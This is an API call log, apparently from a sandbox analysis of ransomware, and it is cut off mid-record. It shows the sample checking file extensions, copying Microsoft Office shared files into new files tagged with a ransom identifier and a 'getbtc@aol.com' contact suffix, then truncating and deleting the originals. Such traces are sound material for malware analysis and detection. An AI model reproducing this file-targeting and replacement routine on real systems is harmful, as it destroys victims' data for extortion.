lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0054.446] lstrlenW (lpString=".xls") returned 4 [0054.446] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0054.446] lstrlenW (lpString=".xlsx") returned 5 [0054.446] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0054.446] lstrlenW (lpString=".ppt") returned 4 [0054.446] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0054.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0054.446] lstrlenW (lpString=".zip") returned 4 [0054.446] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0054.446] lstrlenW (lpString=".rar") returned 4 [0054.446] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0054.446] lstrlenW (lpString=".bz2") returned 4 [0054.446] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0054.446] lstrlenW (lpString=".7z") returned 3 [0054.446] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0054.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0054.446] lstrlenW (lpString=".dbf") returned 4 [0054.447] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0054.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0054.447] lstrlenW (lpString=".1cd") returned 4 [0054.447] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0054.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0054.447] lstrlenW (lpString=".jpg") returned 4 [0054.447] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0054.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0054.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0054.447] lstrlenW (lpString=".doc") returned 4 [0054.447] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0054.447] lstrlenW (lpString=".docx") returned 5 [0054.447] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0054.447] lstrlenW (lpString=".pdf") returned 4 [0054.447] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0054.447] lstrlenW (lpString=".xls") returned 4 [0054.447] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0054.447] lstrlenW (lpString=".xlsx") returned 5 [0054.447] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0054.447] lstrlenW (lpString=".ppt") returned 4 [0054.447] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0054.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0054.447] lstrlenW (lpString=".zip") returned 4 [0054.447] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0054.447] lstrlenW (lpString=".rar") returned 4 [0054.447] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0054.447] lstrlenW (lpString=".bz2") returned 4 [0054.447] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0054.447] lstrlenW (lpString=".7z") returned 3 [0054.447] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0054.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0054.447] lstrlenW (lpString=".dbf") returned 4 [0054.447] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0054.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0054.448] lstrlenW (lpString=".1cd") returned 4 [0054.448] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0054.448] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0054.448] lstrlenW (lpString=".jpg") returned 4 [0054.448] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0054.448] lstrcmpiW (lpString1=".EXE", lpString2=".Q1G") returned -1 [0054.448] lstrlenW (lpString="DWTRIG20.EXE") returned 12 [0054.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0054.480] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=629664) returned 1 [0054.480] CloseHandle (hObject=0x160) returned 1 [0054.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 0x20 [0054.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.481] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0054.481] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.481] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.481] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0054.481] GetLastError () returned 0x0 [0054.481] ReadFile (in: hFile=0x160, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x34dfed4*=0x99ba0, lpOverlapped=0x0) returned 1 [0054.493] WriteFile (in: hFile=0x19c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x99bb0, lpNumberOfBytesWritten=0x34dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfc9c*=0x99bb0, lpOverlapped=0x0) returned 1 [0054.881] ReadFile (in: hFile=0x160, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x34dfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.881] WriteFile (in: hFile=0x19c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.881] SetEndOfFile (hFile=0x19c) returned 1 [0054.881] CloseHandle (hObject=0x19c) returned 1 [0054.882] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.882] SetEndOfFile (hFile=0x160) returned 1 [0054.887] CloseHandle (hObject=0x160) returned 1 [0054.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.887] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 1 [0054.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0054.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0054.887] lstrlenW (lpString=".doc") returned 4 [0054.887] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0054.887] lstrlenW (lpString=".docx") returned 5 [0054.887] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0054.887] lstrlenW (lpString=".pdf") returned 4 [0054.887] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0054.887] lstrlenW (lpString=".xls") returned 4 [0054.887] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0054.887] lstrlenW (lpString=".xlsx") returned 5 [0054.887] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0054.887] lstrlenW (lpString=".ppt") returned 4 [0054.887] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0054.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0054.888] lstrlenW (lpString=".zip") returned 4 [0054.888] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0054.888] lstrlenW (lpString=".rar") returned 4 [0054.888] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0054.888] lstrlenW (lpString=".bz2") returned 4 [0054.888] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0054.888] lstrlenW (lpString=".7z") returned 3 [0054.888] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0054.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0054.888] lstrlenW (lpString=".dbf") returned 4 [0054.888] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0054.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0054.888] lstrlenW (lpString=".1cd") returned 4 [0054.888] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0054.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0054.888] lstrlenW (lpString=".jpg") returned 4 [0054.888] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0054.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0054.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0054.888] lstrlenW (lpString=".doc") returned 4 [0054.888] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0054.888] lstrlenW (lpString=".docx") returned 5 [0054.888] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0054.888] lstrlenW (lpString=".pdf") returned 4 [0054.888] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0054.888] lstrlenW (lpString=".xls") returned 4 [0054.888] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0054.888] lstrlenW (lpString=".xlsx") returned 5 [0054.888] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0054.888] lstrlenW (lpString=".ppt") returned 4 [0054.888] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0054.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0054.888] lstrlenW (lpString=".zip") returned 4 [0054.889] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0054.889] lstrlenW (lpString=".rar") returned 4 [0054.889] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0054.889] lstrlenW (lpString=".bz2") returned 4 [0054.889] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0054.889] lstrlenW (lpString=".7z") returned 3 [0054.889] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0054.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0054.889] lstrlenW (lpString=".dbf") returned 4 [0054.889] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0054.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0054.889] lstrlenW (lpString=".1cd") returned 4 [0054.889] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0054.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0054.889] lstrlenW (lpString=".jpg") returned 4 [0054.889] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0054.889] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0054.889] lstrlenW (lpString="odffilt.dll") returned 11 [0054.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0055.364] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=1312656) returned 1 [0055.364] CloseHandle (hObject=0x168) returned 1 [0055.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 0x20 [0055.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0055.364] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.364] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0055.484] GetLastError () returned 0x0 [0055.484] ReadFile (in: hFile=0x168, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x34dfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0055.507] WriteFile (in: hFile=0x238, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x34dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0055.641] ReadFile (in: hFile=0x168, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x34dfed4*=0x407a0, lpOverlapped=0x0) returned 1 [0055.653] WriteFile (in: hFile=0x238, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x407b0, lpNumberOfBytesWritten=0x34dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfc9c*=0x407b0, lpOverlapped=0x0) returned 1 [0055.660] ReadFile (in: hFile=0x168, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x34dfed4*=0x0, lpOverlapped=0x0) returned 1 [0055.660] WriteFile (in: hFile=0x238, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0055.661] SetEndOfFile (hFile=0x238) returned 1 [0055.661] CloseHandle (hObject=0x238) returned 1 [0055.661] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.661] SetEndOfFile (hFile=0x168) returned 1 [0055.666] CloseHandle (hObject=0x168) returned 1 [0055.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.666] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 1 [0055.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0055.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0055.667] lstrlenW (lpString=".doc") returned 4 [0055.667] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.667] lstrlenW (lpString=".docx") returned 5 [0055.667] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0055.667] lstrlenW (lpString=".pdf") returned 4 [0055.667] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.667] lstrlenW (lpString=".xls") returned 4 [0055.667] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.667] lstrlenW (lpString=".xlsx") returned 5 [0055.667] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0055.667] lstrlenW (lpString=".ppt") returned 4 [0055.667] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0055.667] lstrlenW (lpString=".zip") returned 4 [0055.667] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.667] lstrlenW (lpString=".rar") returned 4 [0055.667] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.667] lstrlenW (lpString=".bz2") returned 4 [0055.667] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.667] lstrlenW (lpString=".7z") returned 3 [0055.667] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0055.667] lstrlenW (lpString=".dbf") returned 4 [0055.667] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0055.667] lstrlenW (lpString=".1cd") returned 4 [0055.667] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0055.667] lstrlenW (lpString=".jpg") returned 4 [0055.667] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0055.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0055.668] lstrlenW (lpString=".doc") returned 4 [0055.668] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.668] lstrlenW (lpString=".docx") returned 5 [0055.668] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0055.668] lstrlenW (lpString=".pdf") returned 4 [0055.668] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.668] lstrlenW (lpString=".xls") returned 4 [0055.668] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.668] lstrlenW (lpString=".xlsx") returned 5 [0055.668] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0055.668] lstrlenW (lpString=".ppt") returned 4 [0055.668] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0055.668] lstrlenW (lpString=".zip") returned 4 [0055.668] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.668] lstrlenW (lpString=".rar") returned 4 [0055.668] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.668] lstrlenW (lpString=".bz2") returned 4 [0055.668] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.668] lstrlenW (lpString=".7z") returned 3 [0055.668] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0055.668] lstrlenW (lpString=".dbf") returned 4 [0055.668] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0055.668] lstrlenW (lpString=".1cd") returned 4 [0055.668] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0055.668] lstrlenW (lpString=".jpg") returned 4 [0055.668] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.669] lstrcmpiW (lpString1=".FLT", lpString2=".Q1G") returned -1 [0055.669] lstrlenW (lpString="JPEGIM32.FLT") returned 12 [0055.669] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0057.811] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=241024) returned 1 [0057.811] CloseHandle (hObject=0x234) returned 1 [0057.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 0x20 [0057.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0057.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0057.811] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.811] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0057.812] GetLastError () returned 0x0 [0057.812] ReadFile (in: hFile=0x234, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x34dfed4*=0x3ad80, lpOverlapped=0x0) returned 1 [0057.821] WriteFile (in: hFile=0x168, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x3ad90, lpNumberOfBytesWritten=0x34dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfc9c*=0x3ad90, lpOverlapped=0x0) returned 1 [0057.825] ReadFile (in: hFile=0x234, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x34dfed4*=0x0, lpOverlapped=0x0) returned 1 [0057.825] WriteFile (in: hFile=0x168, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.825] SetEndOfFile (hFile=0x168) returned 1 [0057.825] CloseHandle (hObject=0x168) returned 1 [0057.825] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.826] SetEndOfFile (hFile=0x234) returned 1 [0057.827] CloseHandle (hObject=0x234) returned 1 [0057.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0057.828] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 1 [0057.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0057.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0057.828] lstrlenW (lpString=".doc") returned 4 [0057.828] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0057.828] lstrlenW (lpString=".docx") returned 5 [0057.828] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0057.828] lstrlenW (lpString=".pdf") returned 4 [0057.828] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0057.828] lstrlenW (lpString=".xls") returned 4 [0057.828] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0057.828] lstrlenW (lpString=".xlsx") returned 5 [0057.828] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0057.828] lstrlenW (lpString=".ppt") returned 4 [0057.828] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0057.828] 